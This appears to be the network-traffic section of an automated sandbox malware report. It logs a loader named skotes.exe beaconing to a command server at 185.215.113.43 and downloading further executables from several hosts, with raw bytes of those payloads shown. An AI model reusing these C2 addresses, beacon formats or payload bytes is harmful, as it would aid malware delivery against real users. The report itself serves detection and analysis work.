0	192.168.2.4	62408	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:05.665059090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:08:06.377257109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	62422	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:07.935029984 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:08:08.811117887 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 35 35 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 35 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 35 36 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 35 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007559001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007564001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007565001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007566001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007567001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	62430	31.41.244.11	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:08.824855089 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 04:08:09.530478954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: application/octet-stream Content-Length: 4370944 Last-Modified: Wed, 20 Nov 2024 01:42:36 GMT Connection: keep-alive ETag: "673d3e8c-42b200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 10 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c4 00 00 04 00 00 58 9b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 fe c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 fd c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@@XC@ _qsD px'@.rsrc p'@.idata q'@ 7q'@arcbojaz'@gudtcmggB@.taggant0"B@
Nov 20, 2024 04:08:09.530510902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:09.530534029 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:09.530550003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:09.530565023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0E&"2=5sy{d
Nov 20, 2024 04:08:09.530580044 CET	448	IN	Data Raw: 7e 6c b5 5c 14 bf 99 89 82 eb 8f 15 56 73 af c5 a9 71 cd 99 6a 1b 5a 78 55 2f 2a b1 b2 24 46 e9 4f 30 df 6d 0c 7c ab 05 82 a9 7e e2 09 2e 63 88 1d ca 9d d4 ea 6f f4 bf 77 20 86 8d 30 b3 42 2f 2f 23 d8 be 88 29 47 df cc 74 18 d5 7b d1 db 56 22 e9 Data Ascii: ~l\VsqjZxU/*$FO0m\|~.cow 0B//#)Gt{V"`CfM_4/9#ScuqbJWTAn4_`Be/DauAFt"<?$&k@4x'8\Ma]Zg\6='yC Hti?zj,c
Nov 20, 2024 04:08:09.530632973 CET	1236	IN	Data Raw: 74 82 2f 4b 1d 71 ed c8 46 aa f8 4e 04 72 d6 a1 9f f3 09 4a 08 46 28 65 f6 6f 3b dc f7 42 9a cc b4 ef 2a 23 dd 44 bc b7 b3 3f 66 0a 3b 38 2c e7 91 c8 47 00 fd a3 7f fa 82 10 3a a8 36 bf 5b ee 3e e9 8a d6 39 32 22 d2 98 48 ca 92 52 92 c5 f5 be 53 Data Ascii: t/KqFNrJF(eo;B*#D?f;8,G:6[>92"HRS0. m'~{#a~7(F\|/1S`6L}5c0,/AXod0E?q2aC{AQ=jTDV`!^oBc,ZyYnI
Nov 20, 2024 04:08:09.530647039 CET	224	IN	Data Raw: 95 bf 15 43 ca e4 a9 43 a4 53 91 b5 b6 ce 00 62 71 63 fd 4a 1d 7f 79 16 76 b6 3c d7 9b 58 06 62 b6 7a 30 03 9e a8 7a 51 a9 3b ed c8 c2 4f 07 51 89 51 46 51 49 c0 dc 1c bf 4f 3e e4 e0 60 e6 bc 8b 2b 83 63 dc 98 42 84 b6 ff e4 20 81 7a 57 26 6a 4d Data Ascii: CCSbqcJyv<Xbz0zQ;OQQFQIO>`+cB zW&jMo:E.o@)KjxW9NEb4@VQ@WY5<#2TEAMp[`)tK*,_:N`m"\|k%jDd4#B1j%!P
Nov 20, 2024 04:08:09.530668974 CET	1236	IN	Data Raw: 93 99 99 50 95 29 37 87 33 d4 f4 8c c7 a4 0a 75 c6 47 a0 07 2b 07 18 db d7 b9 4d e4 6a ea 1f b5 fc ab cf bb 81 2a 0c f0 59 9f ef 04 b1 a4 f4 af c3 1e 4c a0 b8 a0 9e 92 9d a1 23 c6 12 4c 0a 8c fd 37 e9 c4 96 38 4d e2 b7 ca ab 06 ed e6 32 e0 15 d9 Data Ascii: P)73uG+MjYL#L78M20:Z%CC[k1xd3Cd0RSPgQh\|\|P(t%9bT\|eM.o2~w*I#{gQtRm)nN7XW-`%{lIvb^Wa
Nov 20, 2024 04:08:09.530684948 CET	1236	IN	Data Raw: be 2c bd a6 f4 60 24 57 95 6b 0c 57 40 2f ee e5 93 93 cd 86 56 a3 95 58 9d 54 98 03 ba f8 2b 2b a7 4d bf de 37 8f a1 07 4c 35 4d 0b 3f a5 d9 8e 7e ab 15 75 b5 63 60 49 fc dc b1 38 e0 85 8a 0f 56 20 ec 89 f8 c0 94 ae da a5 d4 83 14 fe ef 19 19 5d Data Ascii: ,`$WkW@/VXT++M7L5M?~uc`I8V ]v@dx91A?C)0"[=!`f4lg;1S"FzR9"j uXoz"::N ]wm53Twq'PAaT"G_lV:kW)v
Nov 20, 2024 04:08:09.535662889 CET	1236	IN	Data Raw: fb 2f da a9 45 a9 24 d0 96 1e 89 70 c2 07 80 43 99 b7 09 0f 9c ca 86 d2 b1 d8 9d d2 69 f4 43 20 82 65 18 10 d8 14 8d 9b ef a8 69 37 a4 f3 16 1d 00 a3 08 82 45 94 63 ea 73 75 84 d0 06 c1 82 f1 8d 91 6d 03 d3 28 55 75 a3 08 bb 4b 39 36 e6 eb b9 74 Data Ascii: /E$pCiC ei7Ecsum(UuK96tR-o1_ %C$y@1kvdgM3M/64l&GF+-?d}9K~x4K77(]ut~8.k9Q%o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	62473	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:15.232225895 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 37 35 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1007559001&unit=246122658369
Nov 20, 2024 04:08:15.935090065 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	62475	34.116.198.130	80	3736	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:15.732543945 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 20, 2024 04:08:16.490318060 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 20 Nov 2024 03:08:16 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 20, 2024 04:08:16.490335941 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 20, 2024 04:08:16.490382910 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 20, 2024 04:08:16.490397930 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 20, 2024 04:08:16.490422964 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 20, 2024 04:08:16.492176056 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 20, 2024 04:08:16.492196083 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 20, 2024 04:08:16.492229939 CET	448	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 20, 2024 04:08:16.492244959 CET	1236	IN	Data Raw: 29 e3 72 c0 c7 b5 e6 43 14 b5 c1 f6 39 3b 78 7a f2 18 b0 dc 0c 5d f7 73 1a 41 75 40 29 c5 a2 9c fe 2e dc ab 40 67 8f 5a 30 cd 92 fc 58 75 ad a7 55 97 c1 8a fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 Data Ascii: )rC9;xz]sAu@).@gZ0XuUR$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5up
Nov 20, 2024 04:08:16.492261887 CET	1236	IN	Data Raw: 92 06 94 33 e7 f1 07 2e b7 e9 57 ff 53 11 90 31 a9 9f 80 87 a0 23 0a d9 c8 42 f0 ba 69 1f e1 99 e8 34 d1 d8 95 3f 3c c0 5f 66 c5 6b 0d ca 43 6b 97 78 b8 e5 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d Data Ascii: 3.WS1#Bi4?<_fkCkx4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-
Nov 20, 2024 04:08:16.495868921 CET	1236	IN	Data Raw: 34 f3 9d 78 e2 99 af fd 52 dc b3 69 c2 56 35 33 c8 7f f6 9d d5 98 2c 9c 68 7b 42 fa 5c ba e2 ef 1f 36 61 52 ff 5a 86 63 d4 c5 5b f6 d1 04 cb b0 58 1b 5b 8d fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce Data Ascii: 4xRiV53,h{B\6aRZc[X[?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	62476	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:16.032057047 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 04:08:16.747800112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: application/octet-stream Content-Length: 1865216 Last-Modified: Wed, 20 Nov 2024 02:18:20 GMT Connection: keep-alive ETag: "673d46ec-1c7600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4a 00 00 04 00 00 c0 14 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gI@J@\ppq P^@.rsrc `n@.idata pn@ p*p@saixhvao/r@cgvumvdvIN@.taggant0I"T@
Nov 20, 2024 04:08:16.747881889 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:16.747898102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:16.747912884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:16.747960091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:16.747982025 CET	1236	IN	Data Raw: d7 ce 68 1d f5 27 58 d6 96 ef ea 88 09 b8 64 b5 39 d8 35 5c c8 81 3c e0 c9 2d 20 16 38 e5 2c 8e de 6f bf db 5b 11 40 98 30 08 50 3c b9 c8 9f 9a c2 3e 2e e4 41 96 e9 7b ee 5b 57 ec d6 14 f2 98 91 20 7f 20 2a 02 28 fa aa 54 81 a2 dc 71 5f 4b 98 8c Data Ascii: h'Xd95\<- 8,o[@0P<>.A{[W (Tq_KC@8~P0$NKV12r?yxP88wc:CV;rIWP$NVi#VfYCuPxUd1$Ml
Nov 20, 2024 04:08:16.747989893 CET	1236	IN	Data Raw: 1d f1 3e 26 71 2d 85 0d 2b 41 2b db 82 4a 1e e3 de 77 41 f3 a9 c6 24 e0 c4 c1 e7 9c 61 2a 3f 48 16 72 7e 0d 49 5a fa 21 ee 54 4f 34 c3 fc 6f 98 ef ca 64 a3 73 08 2d f8 36 ef 6b 21 76 60 bc d5 6e 18 bb e2 f2 21 48 39 41 fd 37 3e 9c ed df 60 db 79 Data Ascii: >&q-+A+JwA$a?Hr~IZ!TO4ods-6k!v`n!H9A7>`yM7 0r9jnB15qY!\3arzdIy`xUk/ybq30.pH~Bx"LK\|;M?L6)\|\aA6,D_DQC0ly9\|A#~\T`(E
Nov 20, 2024 04:08:16.747997046 CET	552	IN	Data Raw: d6 01 40 b4 ae 8d 0a 30 35 38 45 b7 d8 4a 2a 16 89 ba 57 61 ff 7c 50 a6 eb 39 75 a8 07 76 46 ef da 0e 73 f3 a1 26 ff e5 db c1 31 e8 ea 70 3e 38 3d b1 58 71 71 b8 f2 88 c8 df 4f 12 b6 a9 29 dd f0 67 d5 e6 62 e7 eb 99 c5 2c f5 f0 34 da 4d 4a ee 06 Data Ascii: @058EJ*Wa\|P9uvFs&1p>8=XqqO)gb,4MJ4{bTfTkKL(V$Q,rl\|~USJc6ZJKz5GAsYtTKnU(-Kkx}&On"Q@l4z&
